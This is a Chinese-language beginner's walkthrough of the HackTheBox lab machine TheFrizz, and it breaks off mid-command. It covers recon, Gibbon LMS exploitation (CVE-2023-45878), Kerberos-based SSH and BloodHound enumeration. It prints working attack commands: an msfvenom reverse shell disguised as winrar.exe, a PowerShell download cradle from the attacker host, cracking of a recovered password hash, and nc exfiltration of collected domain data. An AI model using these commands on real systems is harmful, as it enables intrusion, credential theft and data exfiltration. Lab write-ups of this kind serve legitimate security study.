[HTB] 靶机学习(二)TheFrizz
概要
学习hackthebox的第二天,本人为初学者,将以初学者的角度对靶机渗透进行学习,中途可能会插入一些跟实操关系不大的相关新概念的学习和解释,尽量做到详细,不跳步,所以也会有理解不正确的地方,欢迎大佬们提出指正
信息收集
- nmap -sC -sV -F 10.10.11.60
- -F表示扫描top100端口
复制代码- PORT STATE SERVICE VERSION
- 22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
- 53/tcp open domain Simple DNS Plus
- 80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
- |_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
- |_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
- 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-02 21:16:39Z)
- 135/tcp open msrpc Microsoft Windows RPC
- 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
- 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
- 445/tcp open microsoft-ds?
复制代码 启用了80端口web服务,389端口AD域,445端口Microsoft Directory Services和139端口netbios-ssn(NetBIOS Session Service),都是smb服务,88端口Kerberos服务
添加frizzdc.frizz.htb到hosts文件
访问http://frizzdc.frizz.htb/home/
点击staff login,找到版本号,搜索看有没有漏洞
CVE-2023-34598(LFI)
有CVE-2023-34598,本地文件包含漏洞,q参数后面跟文件名,但没有发现什么重要信息
再找找看,找到有rce利用
CVE-2023-45878 RCE
https://github.com/ulricvbs/gibbonlms-filewrite_rce- python gibbonlms_cmd_shell.py http://frizzdc.frizz.htb
复制代码
windows反弹shell
常用命令可以去棱角查
(https://forum.ywhack.com/bountytips.php?download)
用msf生成反弹shell- msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.14 LPORT=1234 -f exe -o winrar.exe
复制代码 在当前目录开启web服务器,方便后续靶机下载exe- python -m http.server 8888
复制代码
用powershell下载exe- powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.14:8888/winrar.exe')"
复制代码
运行exe- lvUy.php?cmd=> .\winrar.exe
复制代码
看一下域用户
通过dir命令,看到有config.php
查看config.php内容,得到数据库用户名密码
数据库信息
尝试进入数据库,找一下mysql.exe在哪- powershell -Command "Get-ChildItem -Path C:\ -Recurse -Filter 'mysql.exe' -ErrorAction SilentlyContinue | Select-Object FullName"
复制代码
切换目录后,列出数据库- .\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "show databases;"
复制代码
列出gibbon的表- .\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "SHOW TABLES;" gibbon
复制代码
查询gibbonperson表的内容- .\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "USE gibbon; SELECT * FROM gibbonperson;" -E
- -E表示输出为垂直格式,更好看
复制代码 得到了用户名,密码哈希和加密的盐- f.frizzle
- 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03
- /aACFhikmNopqrRTVz2489
复制代码
看一下是哪种类型的hash- hash-identifier 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03
复制代码 大概就是sha-256
hash爆破
hash1.txt
但dynamic_82似乎是sha512格式的,这里不是很清楚- ?:$dynamic_82$067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03$/aACFhikmNopqrRTVz2489
复制代码- john --format=dynamic='sha256($s.$p)' --wordlist=/usr/share/wordlists/rockyou.txt hash1.txt
复制代码 得到密码Jenni_Luvs_Magic23
尝试用ssh登录,没有提示输入密码,看来是禁止了密码登录,gssapi-with-mic的意思是Kerberos 认证,从之前的nmap也能发现开放了kerberos服务,应该是要用kerberos票据登录
kerberos通信流程学习
在实操之前,先了解一下kerberos的整个通信流程
1.在尝试使用 SSH 连接到目标服务器之前,首先客户端需要从 KDC(Key Distribution Center) 获取一个 TGT。
KDC也就是DC域控里的一个组件
KDC(Kerberos 认证中心)包含两个主要的服务:
- AS(Authentication Server):用于验证用户身份并发放 TGT。
- TGS(Ticket Granting Server):根据 TGT 请求发放服务票据
(注:TGT 是经过加密的凭据,包含:用户信息,有效期,一个加密的会话密钥(用于后续加密通信),它允许客户端向 TGS(Ticket Granting Server) 请求针对特定服务的访问权限。是一个临时的凭证,具有有效期。)
客户端发起 Kerberos 认证请求,发送自己的用户名和密码(或通过其他方式验证身份)。请求包里还会有时间戳等信息,发送给AS认证服务器, 本次靶机实操是用 impacket-getTGT 工具来完成- impacket-getTGT frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23' -dc-ip frizzdc.frizz.htb
复制代码 由于 Kerberos 验证涉及时间戳,KDC 和客户端的系统时间必须同步。如果时间差过大(通常超过 5 分钟),KDC 会拒绝认证请求,因为它会认为请求可能是重放攻击,如本次靶机实操中的同步时间命令- ntpdate frizzdc.frizz.htb
复制代码 2.KDC 会检查用户的密码是否正确,如果身份验证成功,AS 会返回一个 TGT(Ticket Granting Ticket) 给客户端。
3.获取到 TGT 后,客户端需要将 Kerberos 票据保存在一个缓存文件中,通常是一个 .ccache 文件。客户端需要设置环境变量 KRB5CCNAME,以便后续的命令能够找到该缓存文件。如本次靶机实操中- export KRB5CCNAME=f.frizzle.ccache
复制代码 4.客户端尝试通过 SSH 连接到目标服务器,SSH 客户端会使用存储在 TGT 中的凭据自动完成认证过程,而无需输入传统的密码。- ssh f.frizzle@frizz.htb -K
复制代码 -K 选项告诉 SSH 客户端使用 Kerberos 票据进行认证,而不是提示用户输入密码。
客户端使用刚才获取的 TGT 去找 TGS(Ticket Granting Service),请求一个访问某个服务(比如 SSH)的服务票据(TGS Ticket)。(注:上述ssh命令的底层会自动读取本地 TGT,自动与 TGS 通信,申请 SSH 服务对应的 TGS 票据,然后自动发送给目标服务)
5.TGS 会解密 TGT,验证客户端身份。如果验证成功,TGS 会生成一个 服务票据(Service Ticket),并返回给客户端
6.客户端收到 服务票据 后,就可以向目标服务(如文件服务器、数据库)发起请求,本次靶机是ssh服务
7.当目标服务器收到来自客户端的 Kerberos 票据时,使用预先存储的 服务密钥 解密票据,验证客户端身份。
如果票据有效,服务会接受客户端的请求,最终建立连接
差不多如图所示
TGT票据
使用用户 f.frizzle 和密码 Jenni_Luvs_Magic23 从域控 frizzdc.frizz.htb 获取TGT(Ticket Granting Ticket)。- ntpdate frizzdc.frizz.htb
- impacket-getTGT frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23' -dc-ip frizzdc.frizz.htb
复制代码 ntpdate同步域控时间,然后申请TGT
出现本机和域控之间系统时间相隔太大的情况,kerberos拒绝颁发票据,这是由于kali虚拟机自动同步时间的关系,会把刚刚和域控同步的时间覆盖,暂时关闭即可
- export KRB5CCNAME=f.frizzle.ccache
复制代码 添加环境变量,后面就可以免密连接
再次尝试ssh连接,发现还是失败- ssh f.frizzle@frizz.htb -K
复制代码
需要添加hosts- 10.10.11.46 frizzdc.frizz.htb frizz.htb
复制代码 同时在kali上修改 /etc/krb5.conf,这个是 Kerberos 的配置文件,通过这种方式,Kerberos 客户端可以使用该配置与 Kerberos 认证服务器进行通信- [domain_realm]
- .frizz.htb = FRIZZ.HTB
- frizz.htb = FRIZZ.HTB
-
- [libdefaults]
- default_realm = FRIZZ.HTB
- dns_lookup_realm = false
- dns_lookup_kdc = true
- ticket_lifetime = 24h
- forwardable = true
-
- [realms]
- FRIZZ.HTB = {
- kdc = FRIZZDC.FRIZZ.HTB
- admin_server = FRIZZDC.FRIZZ.HTB
- default_domain = FRIZZ.HTB
- }
复制代码 然后再- ssh f.frizzle@frizz.htb -K 或者
- ssh f.frizzle@frizzdc.frizz.htb -K
- 使用 -K 参数通过 GSSAPI 认证
复制代码 如果有报错,建议四个命令一起运行- ntpdate frizzdc.frizz.htb
- impacket-getTGT frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23' -dc-ip frizzdc.frizz.htb export KRB5CCNAME=f.frizzle.ccachessh f.frizzle@frizz.htb -K
复制代码 在桌面拿到第一个flag
权限提升
BloodHound安装和使用
BloodHound 是一个能够深入了解 Active Directory 环境中的权限关系的工具。
安装bloodhound,一开始用root用户安装后,启动报错,搜索得知不能用root安装
- apt-get remove bloodhound
复制代码 换成kali用户- sudo apt-get install bloodhound
- 会自动把neo4j也安装了
- neo4j start
- 默认用户密码是neo4j/neo4j
- 然后修改密码
复制代码
neo4j安装成功
然后bound命令启动界面,填入用户名和刚刚修改的密码,能正常看到界面就是安装成功
但似乎也有问题
最后安装了4.0.3版本
https://github.com/SpecterOps/BloodHound-Legacy/releases/download/4.0.3/BloodHound-linux-x64.zip下载得到zip
上传到kali上,解压缩
SharpHound是配合BloodHound收集AD域信息的工具
然后去
https://github.com/SpecterOps/BloodHound-Legacy/blob/f4d9c1af1529124d33c9f360a27686eea51755e1/Collectors/SharpHound.exe
下载SharpHound.exe到kali上
像前面一样用python开启web服务
然后用靶机下载nc.exe- PS C:\Users\f.frizzle> powershell.exe -Command "Invoke-WebRequest -Uri http://10.10.14.14:8888/nc.exe -OutFile nc.exe"
复制代码 再下载SharpHound.exe- PS C:\Users\f.frizzle> powershell.exe -Command "Invoke-WebRequest -Uri http://10.10.14.14:8888/BloodHound/SharpHound.exe -OutFile SharpHound.exe"
复制代码 收集域信息- PS C:\Users\f.frizzle> .\SharpHound.exe -c all
复制代码
再把生成的zip传给kali
kali端靶机端- PS C:\Users\f.frizzle> cmd /c "nc.exe 10.10.14.14 3333 < 20250503133433_BloodHound.zip"
复制代码 启动BloodHound,记得用普通用户启动,root用户有报错- ./BloodHound --no-sandbox
复制代码 然后上传zip,要是上传完还是没数据,重新启动BloodHound即可,然后刷新数据库
发现m.schoolbus有比较高的权限,所以后续尝试看看能不能用m.schoolbus用户登录
再看看有没有有用的信息,看看回收站
在powershell里,需要用反引号`对$进行转义- cd "${env:SystemDrive}\`$Recycle.Bin"
- Get-ChildItem -Force
复制代码 切换到cmd,然后把7z压缩包用nc传给kali
[code]cmdC:\Users\f.frizzle\nc.exe 10.10.14.14 3333 |